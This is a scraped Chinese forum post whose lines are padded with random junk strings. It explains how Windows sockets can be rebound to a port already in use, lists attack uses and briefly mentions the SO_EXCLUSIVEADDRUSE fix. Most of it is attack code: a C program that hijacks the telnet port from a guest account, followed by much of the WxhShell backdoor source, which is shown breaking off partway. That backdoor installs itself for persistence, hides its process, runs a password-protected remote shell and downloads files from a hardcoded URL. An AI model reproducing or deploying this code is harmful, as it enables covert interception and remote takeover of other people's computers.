社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10686阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: f!`,!dZgkd  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); EV:y}  
2VOdI  
  saddr.sin_family = AF_INET; u3 mTsq!  
o9!DK  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); UQwLAXs  
vG'JMzAm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #L-3eW=f  
rNL*(PN}lO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 U!"+~d)  
U$J l5[`F^  
  这意味着什么?意味着可以进行如下的攻击: nj*B-M\p  
H1PW/AW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z6}B}5@y  
$Nr :YI  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~;Ga65_6_  
aDx{Q&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H)$-T1Wx4  
Rx$5#K!%M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,zy4+GW  
N#')Qz:P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Go}C{(4T  
I$4GM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _LV;q! /j  
=Tf uwhV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 af]&3(33  
*`:zSnu  
  #include DRLX0Ml]\  
  #include $=f,z>j  
  #include 0kI.d X)  
  #include    `J h> 1l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   6]dK,  
  int main() 8X`Gm!)  
  { c <[?Z7y  
  WORD wVersionRequested; @Z.s:FV[  
  DWORD ret; |IqQ%;H  
  WSADATA wsaData; K9FtFd  
  BOOL val; n&x#_B-  
  SOCKADDR_IN saddr; 5 N(/K.^  
  SOCKADDR_IN scaddr; 3QDz0ct  
  int err; -Cxk#-sb#  
  SOCKET s; n&=3Knbd@d  
  SOCKET sc; lvi~GZ  
  int caddsize; ;T!mNKl  
  HANDLE mt; %+iJpRK)7  
  DWORD tid;   d%Zt]1$  
  wVersionRequested = MAKEWORD( 2, 2 ); 7d?'~}j  
  err = WSAStartup( wVersionRequested, &wsaData ); #/  1  
  if ( err != 0 ) { 5taYm'  
  printf("error!WSAStartup failed!\n"); pHlw&8(f"  
  return -1; Nhv~f0  
  } Akf?BB3bC  
  saddr.sin_family = AF_INET; zE +)oQ,  
   (!Q^.C_m  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ~A+D H  
m!s/L,iJJ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); $-m`LF@  
  saddr.sin_port = htons(23); 6elmLDMni\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p]uwGWDI  
  { ir<HC 'D[  
  printf("error!socket failed!\n"); &ZgB b  
  return -1; \?-`?QPux  
  } PNLtpixZ  
  val = TRUE; ~/J:p5?L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 &[}T41  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n83,MV?-  
  { S,LW/:,  
  printf("error!setsockopt failed!\n"); ,~t{Q*#_h  
  return -1; fr8:L!9  
  } MoN;t;  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; bZk7)b;1o  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 RSG\3(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 89:Ys=  
XM$r,}B k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) +1Oi-$ 2-  
  { ?<\ K!dA  
  ret=GetLastError(); ~p{.4n2:  
  printf("error!bind failed!\n"); Q_'3}:4  
  return -1; zFh JLH*C  
  } lL~T@+J~  
  listen(s,2); dI<s)!  
  while(1) +]/_gz  
  { eLcP.;Z  
  caddsize = sizeof(scaddr); EUj'%;s z-  
  //接受连接请求 ~HD:Y7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CRvUD.D  
  if(sc!=INVALID_SOCKET) $[iSZ;  
  { #uJGXrGt=  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +Gi~VW.  
  if(mt==NULL) ]?tsYXU j  
  { <l(6$~(-u  
  printf("Thread Creat Failed!\n"); I~EQuQ>=  
  break; jQOY\1SR  
  } ` /JJ\`Pu  
  } Q+E%"`3V4l  
  CloseHandle(mt); T<06y3sN  
  } '/kSUvd  
  closesocket(s); >(Jy=m?  
  WSACleanup(); wxpE5v+f|  
  return 0; IC>OxYg*  
  }   k.>*!l0  
  DWORD WINAPI ClientThread(LPVOID lpParam) CXGq>cQ=d  
  { u1O?`  
  SOCKET ss = (SOCKET)lpParam; E~]8>U?V  
  SOCKET sc; -J4?Km  
  unsigned char buf[4096]; ^EE 3E'  
  SOCKADDR_IN saddr; WK]SHiHD  
  long num; >I Aw Nr  
  DWORD val; l2KR=& SX/  
  DWORD ret; ?"\`u;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =1fO"|L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   g<O*4 ]=  
  saddr.sin_family = AF_INET; 0f/=C9L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,/{mRw%  
  saddr.sin_port = htons(23); a? K=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) sY!PXD0Q  
  { )Ac+5bs  
  printf("error!socket failed!\n"); vr2tIKvpn  
  return -1; D+d\<":  
  } +Ck F#H ~  
  val = 100; h=um t<&D  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) hN$6Kx>{  
  { Mh>H5l.1i  
  ret = GetLastError(); "40Jxqt  
  return -1; .P.TqT@)r  
  } _|rrl  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7yxZe4~|#  
  { u&1n~t`  
  ret = GetLastError(); EAp6IhW{  
  return -1; :\x53-&hO4  
  } ;LNFPo   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nk9Kq\2f:  
  { gUzCDB^.:  
  printf("error!socket connect failed!\n"); >up'`K,  
  closesocket(sc); pXPwn(  
  closesocket(ss); J6/Mm7R  
  return -1; #bgW{&_ y  
  } vU LlAQG  
  while(1) 48Y5ppcS  
  { "*|plB  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Z=n# XJO15  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8=OK8UaU  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &Al9%W  
  num = recv(ss,buf,4096,0); pUki!TA  
  if(num>0) JS% &ipm  
  send(sc,buf,num,0); kVE% "  
  else if(num==0) ww82)m8  
  break; t=J\zyX!  
  num = recv(sc,buf,4096,0); |ZW%+AQ|  
  if(num>0) /`#sp  
  send(ss,buf,num,0); 1ux~dP  
  else if(num==0) /\*,|y\<  
  break; z|[#6X6tT  
  } x&7% U  
  closesocket(ss); |BhfW O8p  
  closesocket(sc); "&%: 9O  
  return 0 ; VQV7W  
  } F;Ms6 "K  
tmiRv.Mhn<  
"I?sz)pxG  
========================================================== mz;S*ONlV  
?#idmb}(  
下边附上一个代码,,WXhSHELL 6rP[*0[  
#k5WTcE  
========================================================== rMAH YH9  
>HO{gaRM  
#include "stdafx.h" 3UgusH3  
epp ;~(xr  
#include <stdio.h> | iEhe  
#include <string.h> iD,iv  
#include <windows.h> LyO, ]  
#include <winsock2.h> w#g0nV"X6  
#include <winsvc.h> [?VYxX@  
#include <urlmon.h> YUd*\_  
j$<uE{c  
#pragma comment (lib, "Ws2_32.lib") rRyBGEj  
#pragma comment (lib, "urlmon.lib") d)`XG cx{=  
"| w..%Wc  
#define MAX_USER   100 // 最大客户端连接数 0o2o]{rM{2  
#define BUF_SOCK   200 // sock buffer j J6Yz  
#define KEY_BUFF   255 // 输入 buffer @sv==|h  
H S/ 1z  
#define REBOOT     0   // 重启 |4//%Ll/  
#define SHUTDOWN   1   // 关机 g9(zJ  
JViglO1\  
#define DEF_PORT   5000 // 监听端口 t] LCe\#  
|j53' >N[  
#define REG_LEN     16   // 注册表键长度 *F/uAI^)  
#define SVC_LEN     80   // NT服务名长度 B MU@J  
]bCeJE.+)  
// 从dll定义API cn#JO^8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jV)!9+H#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); rBLkowDP*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6=o@X  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); f)hs>F  
flp<QT  
// wxhshell配置信息 gv$6\1  
struct WSCFG { V_jVVy30Ji  
  int ws_port;         // 监听端口 aCzdYv\}&  
  char ws_passstr[REG_LEN]; // 口令 1><\3+8  
  int ws_autoins;       // 安装标记, 1=yes 0=no j(/Bf m  
  char ws_regname[REG_LEN]; // 注册表键名 G%~=hEK0  
  char ws_svcname[REG_LEN]; // 服务名 .kh%66:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Dgh|,LqUB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S@]7   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~8~B VwZ_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no JmdXh/X  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rhY>aj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .b>1u3  
K_j$iHqLF  
}; <(W0N|1v  
yyZH1A  
// default Wxhshell configuration 9frP`4<)  
struct WSCFG wscfg={DEF_PORT, |VM c,_D  
    "xuhuanlingzhe",  s#om  
    1, %||}WT-wv  
    "Wxhshell", ?z0f5<dL  
    "Wxhshell", o<P@:}K  
            "WxhShell Service", :Z(?Ct&8  
    "Wrsky Windows CmdShell Service", |5)~WoV/G  
    "Please Input Your Password: ", Srj%6rgsB  
  1, 86O"w*9  
  "http://www.wrsky.com/wxhshell.exe", )\_xB_K\  
  "Wxhshell.exe" yA_;\\  
    }; 9i@AOU  
x][vd^iW  
// 消息定义模块 1BQTvUAA  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |gEA.} pY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R_ J=x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3U=q3{%1  
char *msg_ws_ext="\n\rExit."; '8>h4s4  
char *msg_ws_end="\n\rQuit."; j-|YE?AA  
char *msg_ws_boot="\n\rReboot..."; GXB4&Q!C  
char *msg_ws_poff="\n\rShutdown..."; L(Q v78F  
char *msg_ws_down="\n\rSave to "; r4caIV  
d{+ H|$L`  
char *msg_ws_err="\n\rErr!"; .CFaBwj  
char *msg_ws_ok="\n\rOK!"; -'+|r]  
eCdx(4(\a  
char ExeFile[MAX_PATH]; mLX1w)=r  
int nUser = 0; fVv#|   
HANDLE handles[MAX_USER]; }CZ,WJz=  
int OsIsNt; <\Nf6>_qEM  
<b"ynoM.A  
SERVICE_STATUS       serviceStatus; tVQfR*=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1) V,>)Ak  
Y'"2s~_ Z  
// 函数声明 nW+rJ  
int Install(void); LB%_FT5  
int Uninstall(void); Rt~Aud[  
int DownloadFile(char *sURL, SOCKET wsh); NWPL18*C  
int Boot(int flag); L^rtypkJ  
void HideProc(void); u.iFlU   
int GetOsVer(void); Qfo'w%px  
int Wxhshell(SOCKET wsl); H4 Y7p  
void TalkWithClient(void *cs); pWH8ex+  
int CmdShell(SOCKET sock); j~c7nWfX  
int StartFromService(void); d$)'?Sf]h  
int StartWxhshell(LPSTR lpCmdLine); (WiA  
!OM9aITv[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GyJp! xFB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I$0`U;Xd  
5P{dey!  
// 数据结构和表定义 I2("p.+R  
SERVICE_TABLE_ENTRY DispatchTable[] = vgOmcf%;  
{ %Bmi3 =Rr  
{wscfg.ws_svcname, NTServiceMain}, :xZ/c\  
{NULL, NULL} ]3hz{zqV^  
}; I=&5mg=m  
>bxT_qEm  
// 自我安装 _=B(jJZ   
int Install(void) ?@Z~i]gE[V  
{ 5)V]qV$   
  char svExeFile[MAX_PATH]; evsH>hE^  
  HKEY key; C-]H+p  
  strcpy(svExeFile,ExeFile); q]:+0~cz  
-_'M *-  
// 如果是win9x系统,修改注册表设为自启动 pr>Qu:  
if(!OsIsNt) { ]+)z}lr8 C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N%6jZmKip  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %*OKhrM  
  RegCloseKey(key); {r.#R| 4v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m JewUc!<5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V S2p"0$3D  
  RegCloseKey(key); ,HS\(Z  
  return 0; TveCy&  
    } H? N!F7s  
  } "-XL Y_  
} 0*V RFd4  
else { qhVDC  
KL*ZPKG  
// 如果是NT以上系统,安装为系统服务 Gh0H) q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +xRja(d6  
if (schSCManager!=0) <oV _EZ  
{ i:OD)l  
  SC_HANDLE schService = CreateService lT$Vv= M  
  ( tr7FV1p  
  schSCManager, }aXc,;Ps  
  wscfg.ws_svcname, hd9fD[5  
  wscfg.ws_svcdisp, xuO5|{h  
  SERVICE_ALL_ACCESS, N-jFA8n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , TJ7on.;  
  SERVICE_AUTO_START, UY j  
  SERVICE_ERROR_NORMAL, JI )+  
  svExeFile, 1 Y@6oT  
  NULL, .rSeJZzuj  
  NULL, ~CldqXeI  
  NULL, :Y y+%  
  NULL, B:ddlxT $  
  NULL bj(U?$  
  ); eJE?H]  
  if (schService!=0) O(,Ezy x  
  { ru3nnF_I  
  CloseServiceHandle(schService); s['F?GWg  
  CloseServiceHandle(schSCManager); ?nrd$,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^C>i(j&  
  strcat(svExeFile,wscfg.ws_svcname); ;E:ra_l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?v#t{e0eQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); MR%M[SK1  
  RegCloseKey(key); x '3<F  
  return 0; fS-#dJC";`  
    } G hLgV  
  } C2AP   
  CloseServiceHandle(schSCManager); (rt DT  
} Um;ReJ8z  
} sq*R)cZ  
Ts:dnGR5  
return 1; 56u'XMB?  
} Y[$[0  
RmO-".$yt  
// 自我卸载 c;w cgU  
int Uninstall(void) W>dS@;E  
{ 4a>z]&s  
  HKEY key; b'Z#RIb  
_.J{U0N  
if(!OsIsNt) { y&lj+j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P\iw[m7O  
  RegDeleteValue(key,wscfg.ws_regname); P^v`5v  
  RegCloseKey(key); cG?RisSZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f|?i6.N> f  
  RegDeleteValue(key,wscfg.ws_regname); vkE6e6,Qc  
  RegCloseKey(key); "<3PyW?zt  
  return 0; ^O#,%>1J  
  } 9XF+? x  
} P~;NwHZ?k  
} mn*.z!N=  
else { q ]rsp0P2  
-{pcb7.xuv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E~2}rK+#)  
if (schSCManager!=0) ]5x N^7_!j  
{ KmEm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /QHvwaW[  
  if (schService!=0) o&rejj#  
  { }pPxN@X  
  if(DeleteService(schService)!=0) { mY(~94{d  
  CloseServiceHandle(schService); PPDm*,T.  
  CloseServiceHandle(schSCManager); @s2z/ h0H  
  return 0; y M , hF  
  } r&0v,WSp&S  
  CloseServiceHandle(schService); azPFKg +  
  } @]WN|K  
  CloseServiceHandle(schSCManager); M<"&$qZ$R  
} D?qA aq&4  
} )Y Qtrc\91  
qQ/j+  
return 1; $>OWGueq64  
} :uZcN  
HkJ$r<J2  
// 从指定url下载文件 SR%h=`t  
int DownloadFile(char *sURL, SOCKET wsh) }UHuFff,  
{ 76} N/C  
  HRESULT hr; 0mH>fs 4  
char seps[]= "/"; (J\"\#/d  
char *token; q<r{ps  
char *file; m$*dPje  
char myURL[MAX_PATH]; nW{ ). P  
char myFILE[MAX_PATH]; h<6@&yzp  
n:`> QY  
strcpy(myURL,sURL); CO0Nq/@  
  token=strtok(myURL,seps); :v Pzw!  
  while(token!=NULL) F_zs"ex/  
  { `t {aN|3V[  
    file=token; +MGEO+  
  token=strtok(NULL,seps); +aEE(u6%E@  
  } pUYa1=  
MJ8z"SKnV  
GetCurrentDirectory(MAX_PATH,myFILE); ZR6KE_  
strcat(myFILE, "\\"); &0K H00l  
strcat(myFILE, file); 4B-v\3Ff  
  send(wsh,myFILE,strlen(myFILE),0); j?g{*M  
send(wsh,"...",3,0); wCkhE,#-_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JDD(e_dw  
  if(hr==S_OK) dW,$yH_  
return 0; j*q]-$2E  
else p/cVQ  
return 1; op"RrZAZBT  
My:wA;#  
} 1r\? uD  
N#6&t8;kTC  
// 系统电源模块 2y,NT|jp  
int Boot(int flag) mj%Iow.  
{ )e4nKh],  
  HANDLE hToken; ^B1Q";# B^  
  TOKEN_PRIVILEGES tkp; +*DXzVC  
.B"h6WMz  
  if(OsIsNt) { ]. IUQ*4t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /"~CWNa  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); U:#9!J?41  
    tkp.PrivilegeCount = 1; mUm9[X~'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @;G}bYq^(I  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Tr(w~et  
if(flag==REBOOT) { 3E+u)f lmB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :p=IZY  
  return 0; |B;:Ald  
} <S6|$7{1  
else { (YGJw?]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |TkMrj0  
  return 0; S)n ~^q  
} My5h;N@C  
  } x!tCK47Yq  
  else { [wjA8d.  
if(flag==REBOOT) { L@ql)Lc);  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H--(zxK  
  return 0; ,-vbR&  
} ZxwI< T:&  
else { +'N?`l6<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z81]>  
  return 0; 4@4$kro  
} %_(e{Mf)  
} k,0JW=Vh>|  
<FRYt-+  
return 1; bfQ+}|;  
} J3oH^  
u0A.I_  
// win9x进程隐藏模块 TC<_I0jCh  
void HideProc(void) y7u"a)T  
{ =BMON{K  
{qp XzxV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }<[@)g.h.  
  if ( hKernel != NULL ) @tM1e<  
  { bvUjH5.7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); GghZ".O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W+cmn)8  
    FreeLibrary(hKernel); h&{9 &D1t  
  } ,*+F*:o(m  
[as\>@o  
return; ]KA|};>ow  
} ^$FHI_  
<2fZYt vt  
// 获取操作系统版本 %{Kp#R5E  
int GetOsVer(void) .Qyq*6T3&  
{ :Z- = 1b~  
  OSVERSIONINFO winfo; uv%T0JA/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7s4G|N[wR\  
  GetVersionEx(&winfo); ?rKewdGY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,j:`yB]4,  
  return 1; ==RYf*d  
  else ~dkS-6q~Q  
  return 0; Z]@my,+Z;  
} ey_3ah3x  
nVoL7ew+  
// 客户端句柄模块 QgqR93Ic  
int Wxhshell(SOCKET wsl) dAh&Z:86\  
{ `k+ci7;  
  SOCKET wsh; `1=n H/E  
  struct sockaddr_in client; H!y1&  
  DWORD myID; _rdEur C6  
FMc$?mm  
  while(nUser<MAX_USER) ^a0{"|Lq  
{ }u5/  
  int nSize=sizeof(client); hbl:~O&a/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H{x'I@+  
  if(wsh==INVALID_SOCKET) return 1; % r`hW \4{  
 TTZb.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); C*a>B,H  
if(handles[nUser]==0) <'>c`80@\*  
  closesocket(wsh); v,I4ozDx  
else ve49m%NQ  
  nUser++; bJ4})P&  
  } *P7 H=Yf&  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I q]+O Q  
-y|>#`T/  
  return 0; )"/.2S;  
} [_Fj2nb*  
<U%4$83$  
// 关闭 socket U>H"N1  
void CloseIt(SOCKET wsh) ]0p] u d&  
{ 7hQXGY,q  
closesocket(wsh); InBnU`(r  
nUser--; v6uR[18  
ExitThread(0); WWhAm{m  
} fd! bs*\X  
o%;R4 s,  
// 客户端请求句柄 vMu6u .e  
void TalkWithClient(void *cs) >x9@ if  
{ [3lAKI  
`d2 r5*<  
  SOCKET wsh=(SOCKET)cs; %CV@FdB  
  char pwd[SVC_LEN]; 4 3V {q  
  char cmd[KEY_BUFF]; @{P<!x <Q  
char chr[1]; >o9tlO)  
int i,j; mE=%+:o.  
mhVdsa  
  while (nUser < MAX_USER) { [1nfSW  
$ @g\wz  
if(wscfg.ws_passstr) { d0``:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S3 12#X(%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (yA`h@@WS  
  //ZeroMemory(pwd,KEY_BUFF); v7gs $'Q  
      i=0; o9\J vJk  
  while(i<SVC_LEN) { c|RTP  
Of0(.-Q w  
  // 设置超时 x7J8z\b"O  
  fd_set FdRead; ##!idcC  
  struct timeval TimeOut; C$WUg<kcK'  
  FD_ZERO(&FdRead); r&+8\/{  
  FD_SET(wsh,&FdRead); +i^@QNOa  
  TimeOut.tv_sec=8; yhm6%  
  TimeOut.tv_usec=0; znnnqR0us  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _}+Aw{7!r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0"}qND  
`& ufdn\j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uaghB,i'n  
  pwd=chr[0]; /M!b3bmA  
  if(chr[0]==0xd || chr[0]==0xa) { qQjd@J}^  
  pwd=0; $0 ]xeD0X  
  break; >vQ8~*xd  
  } .JCd:'-  
  i++; L7\V^f%yCm  
    } Rtpk_ND!  
9U&~H*Hf  
  // 如果是非法用户,关闭 socket 42$ pvw<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8k +^jj  
} |ht:_l 8  
{$qE>ic  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M/?eDW/  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &~=FX e0S  
_cvA1Q"  
while(1) { tVQq,_9C  
#1fL2nlP*E  
  ZeroMemory(cmd,KEY_BUFF); &_cH9zw@  
HOt,G _{  
      // 自动支持客户端 telnet标准   56w uk [)  
  j=0; W {A4*{  
  while(j<KEY_BUFF) { J4?i\wD:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M h"X9-Ot  
  cmd[j]=chr[0]; 6mV-+CnYC  
  if(chr[0]==0xa || chr[0]==0xd) { w1Txz4JqB  
  cmd[j]=0; )iX2r{  
  break; U}T{r%9  
  } moS0y?N  
  j++; z@I'Ryalyc  
    } tNoPpIu  
CiWz>HWH  
  // 下载文件 S^s|/!>  
  if(strstr(cmd,"http://")) { \uPyvA =  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~Y/:]&wF  
  if(DownloadFile(cmd,wsh)) OEw#;l4 C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ty)2  
  else %lq[,6?>5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Js+*,t  
  } w)N~u%  
  else { 9U>OeTh(  
)Cu2xRr^`  
    switch(cmd[0]) { ff&jR71E  
  -wa"&Q  
  // 帮助 wKU9I[]  
  case '?': { igx~6G*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); C19}Y4r:  
    break; p0rmcP1Ln  
  }  LXoZ.3S  
  // 安装 "7q!u,u  
  case 'i': { P{,A%t  
    if(Install()) ui RO,B}z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .8wf {y  
    else ee/3=/H|;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `^ZhxFX  
    break; Gg e X  
    } z~"Q_gme  
  // 卸载 5G2G<[p5oQ  
  case 'r': { j*\oK@  
    if(Uninstall()) 40%fOu,u`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [*C%u_h  
    else  WD55(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /:tzSKq}  
    break; fUMjLA|*I<  
    } }W)b  
  // 显示 wxhshell 所在路径 Jxf>!\:AZu  
  case 'p': { Vy=P*  
    char svExeFile[MAX_PATH]; 3n,jrX75u  
    strcpy(svExeFile,"\n\r"); d.|*sZ&3p  
      strcat(svExeFile,ExeFile); e%s1D  
        send(wsh,svExeFile,strlen(svExeFile),0); AL!ppi  
    break; sZI"2[bk  
    } 'ZJb`  
  // 重启 EXMW,  
  case 'b': { !9.k%B:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QJ&]4*>a  
    if(Boot(REBOOT)) STl8h}C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Ew>3Q  
    else { :w q][0)  
    closesocket(wsh); oam$9 q  
    ExitThread(0); s"@}^ )*}  
    } 4a0Ud !Qcs  
    break; ~&?57Sw*m  
    } X J`*dgJ  
